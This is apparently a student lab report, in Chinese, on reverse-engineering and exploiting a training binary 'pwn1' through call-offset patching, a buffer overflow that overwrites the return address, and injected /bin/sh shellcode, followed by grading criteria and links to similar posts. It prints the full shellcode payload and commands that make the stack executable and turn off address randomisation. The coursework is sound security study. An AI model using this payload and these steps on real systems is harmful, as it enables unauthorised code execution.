20155239 网络对抗 Exp1 PC平台逆向破解(5)M

实验内容

(1).掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(1分)

(2)掌握反汇编与十六进制编程器 (1分)

(3)能正确修改机器指令改变程序执行流程(1分)

(4)能正确构造payload进行bof攻击(2分)

(5)Optional:进阶,shellcode编程与注入

实践指导:实践指导

实践目标

  • 本次实践的对象是一个名为pwn1的linux可执行文件。

  • 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

  • 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

    利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

    注入一个自己制作的shellcode并运行这段shellcode。

    这几种思路,基本代表现实情况中的攻击目标:

    运行原本不可访问的代码片段

    强行修改程序执行流

    以及注入运行任意代码。

    一:

    实验对象为32位可执行文件pwn1,这个程序主要有main、foo、getshell这三个函数

  • foo函数:为输出输入的字符串

  • getshell函数:打开一个shell

原程序中main函数只调用了foo函数,接下来我们先通过直接修改程序机器指令,改变程序执行流程,使getshell函数被调用

实验步骤如下

1.使用 objdump -d pwn1 | more 命令对pwn1进行反汇编

可以看到以下主要内容:



  • 1.getshell函数的入口地址为0x0804847d,该函数功能为打开一个shell
  • 2.foo函数的入口地址为0x08048491,该函数功能为输出输入的函数
  • 3.main函数调用了foo函数,机器码为e8 d7 ff ff ff

    考虑e8可能为指令call的机器码,故d7 ff ff ff可能对应foo函数的地址0x08048491,而getshell函数的地址为0x08048491,两者相差0x14,考虑到数据以小端方式存储,实际地址为ff ff ff d7,将d7加上或减去0x14即可能使getshell函数被调用。

    (实际上d7 ff ff ff是一个偏移值,目标地址(0x08048491)=这条指令所在地址(0x080484b5)+指令长度(0x5)+操作数(-0x29),ff ff ff d7的二进制表示11111111 11111111 11111111 11010111即表示16进制的-0x29,现在欲将目标地址改为getshell函数的入口地址0x0804847d,则应将操作数再减去0x14,即-0x3d,补码为11111111 11111111 11111111 11000011,即ff ff ff c3,用小端方式表示为 c3 ff ff ff,这证实了之前的猜测,将0xd7减去0x14,即可得到正确的值)

2.下面我们将d7修改为c3

1. vi 20155239lvyuxuan

发现这是一个二进制文件

  • 按ESC键

2.在vi中输入命令 %!xxd

以16进制显示文件,接着输入命令/d7找到要修改的位置

  • 找到后前后的内容和反汇编的对比下,确认是地方是正确的7.修改d7为c3

实验结果:

二.通过构造输入参数,造成BOF攻击,改变程序执行流

  • 首先进行反汇编,了解程序的基本功能

  • 注意这个函数getShell,我们的目标是触发这个函数

  • 该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞

  • 这里读入字符串,但系统只预留了字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址

  • 确认输入字符串哪几个字符会覆盖到返回地址

    选择 “ 1111111122222222333333334444444455555555 ” 来测试,容易标识

    使用

  • gdb 进入调试界面。

  • 使用命令info r查看各个寄存器的值

  • 此时注意到eip的值为ASCII的5,即在输入字符串的“5”的部分发生溢出。所以尝试将5的部分改为其他数字进行比对:

  • 将“55555555”改成“12345678”,输入info r查看寄存器注意寄存器eip的值,如图“0x34333231 0x34333231”,换算成ASCⅡ码刚好是1234。1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。

  • 只要把这四个字符替换为 getShell 的内存地址,输给20155232lsq,20155232lsq就会运行getShell。

  • getShell的内存地址,通过反汇编时可以看到,即0804847d。

  • 接下来要确认下字节序,简单说是输入11111111222222223333333344444444\x08\x04\x84\x7d,还是输入11111111222222223333333344444444\x7d\x84\x04\x08。

  • 对比之前eip 0x34333231 0x34333231 ,正确应用输入 11111111222222223333333344444444\x7d\x84\x04\x08

  • 由于我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。

  • 关于Perl: Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。 使用输出重定向“>”将perl生成的字符串存储到文件input中。

  • 可以使用16进制查看指令xxd查看input文件的内容是否如预期



    然后将input的输入,通过管道符“|”,作为pwn1的输入。

3.注入Shellcode并执行

先输入apt-get install execstack下载··execstack··。


然后输入下面的指令

execstack -s pwn1    //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space

构造要注入的payload。

Linux下有两种基本构造攻击buf的方法:

retaddr+nop+shellcode

nop+shellcode+retaddr。

因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。

简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边

我们这个buf够放这个shellcode了

结构为:nops+shellcode+retaddr。

nop一为是了填充,二是作为“着陆区/滑行区”。

我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。

接下来就根据实验指导输入命令

 perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
\x4\x3\x2\x1为溢出到eip的部分。
  • 我输入(cat input_shellcode;cat) | ./pwn1,运行pwn1,然后打开顶一个终端,输入ps -ef | grep pwn1找到pwn1的进程号为30081,如图:

  • 接着进行gdb调试,输入attach 30081

  • 通过设置断点,来查看注入buf的内存地址

    • disassemble foo

  • 断在ret,这时注入的东西都大堆栈上了ret完,就跳到我们覆盖的retaddr那个地方了

  • 在另外一个终端中按下回车,这就是前面为什么不能以\x0a来结束 input_shellcode的原因。

  • break *0x080484ae设置断点,并输入c继续运行。在pwn1进程正在运行的终端敲回车,使其继续执行。再返回调试终端,使用info r esp查找地址

  • 使用x/16x 0xffffd2fc查看其存放内容,看到了01020304

    ,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,所以地址是 0xffffd300。

  • 决定将返回地址改为0xffffd300。

  • 再执行程序,攻击成功

实验感想

首先在学习的过程中遇到了很多的问题:比如未找到命令,所以需要输入命令下载 apt-get install execstack

评分标准:

截图要求:

1.1 所有操作截图主机名为本人姓名拼音

1.2 所编辑的文件名包含自己的学号

如未按如上格式要求,则相应部分报告内容不记成绩。

2 报告内容

2.1掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分)

2.2掌握反汇编与十六进制编程器 (0.5分)

2.3能正确修改机器指令改变程序执行流程(0.5分)

2.4能正确构造payload进行bof攻击(0.5分)

3.报告整体观感

3.1 报告格式范围,版面整洁 加0.5。

3.2 报告排版混乱,加0分。

4.文字表述

4.1报告文字内容非常全面,表述清晰准确 加1分。

4.2报告逻辑清楚,比较简要地介绍了自己的操作目标与过程 加0.5分。

4.3报告逻辑混乱表述不清或文字有明显抄袭可能 加0分。

20155239吕宇轩 Exp1 PC平台逆向破解(5)M的更多相关文章

  1. 20155324《网络对抗》Exp1 PC平台逆向破解(5)M

    20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...

  2. 2018-2019-2 20165237《网络攻防技术》Exp1 PC平台逆向破解

    2018-2019-2 20165237<网络攻防技术>Exp1 PC平台逆向破解 一.实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调 ...

  3. 20165221 《网络对抗技术》EXP1 PC平台逆向破解

    20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...

  4. 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...

  5. 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解

    - 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...

  6. Exp1 PC平台逆向破解 20165235 祁瑛

    Exp1 PC平台逆向破解 20165235 祁瑛 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字 ...

  7. 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解

    2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...

  8. 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...

  9. 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解

    2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...

随机推荐

  1. VS2017写代码时几个常用的快捷键

    说明:组合键是同时按,非组合键是按住Ctrl依次按后面的键1.格式化  格式化全部代码       Ctrl+A+K+F  格式化选中的代码     Ctrl+K+F 2.注释代码  注释代码    ...

  2. AsyncTask 处理耗时操作&&显示进度条

    在Android中实现异步任务机制有两种,Handler和AsyncTask.优缺点自己百度,推荐使用AsyncTask. private ProgressDialog dialog; //新建一个对 ...

  3. 安卓基础之Activity的四种启动模式

    Activity的四种启动模式   Activity的启动模式在清单文件中配置: <activity ... activity:lauchMode:"..."; //有四种模 ...

  4. C#/Net定时导出Excel并定时发送到邮箱

    一.定时导出Excel并定时发送到邮箱   首先我们先分析一下该功能有多少个小的任务点:1.Windows计划服务 2.定时导出Excel定指定路径 3.定时发送邮件包含附件   接下来我们一个个解决 ...

  5. postgresql排序分页时数据重复问题

    当同时排序又分页时,如果排序的字段X不是唯一字段,当多个记录的X字段有同一个值时顺序是随机的. 这个有可能造成分页时数据重复的问题.某一页又把上一页的数据查出来了,其实数据库只有一条记录. 解决办法: ...

  6. Hadoop HBase概念学习系列之HLog(二)

    首先,明确,HRegion服务器包含两大部分:HLog和HRegion. HLog用来存储数据日志,采用的是先写日志的方式. 当用户需要更新数据的时候,数据会被分配到对应的HRegion服务器上提交修 ...

  7. redis 配置文件示例

    # redis 配置文件示例 # 当你需要为某个配置项指定内存大小的时候,必须要带上单位,# 通常的格式就是 1k 5gb 4m 等酱紫:## 1k  => 1000 bytes# 1kb =& ...

  8. Python学习(七)面向对象 ——继承和多态

    Python 类的继承和多态 Python 类的继承 在OOP(Object Oriented Programming)程序设计中,当我们定义一个class的时候,可以从某个现有的class 继承,新 ...

  9. Gold Point Game~~

    黄金点游戏 1. 队友博客链接 GitHub链接 2.过程总结 (1)俩人各自所做工作?对方编程习惯总结(是否遵照代码规范.是否关注算法效率.是否做了代码复审.界面设计是否关注美观实用等等): 这次作 ...

  10. 2.python数据结构的性能分析

    一.引言 - 现在大家对 大O 算法和不同函数之间的差异有了了解.本节的目标是告诉你 Python 列表和字典操作的 大O 性能.然后我们将做一些基于时间的实验来说明每个数据结构的花销和使用这些数据结 ...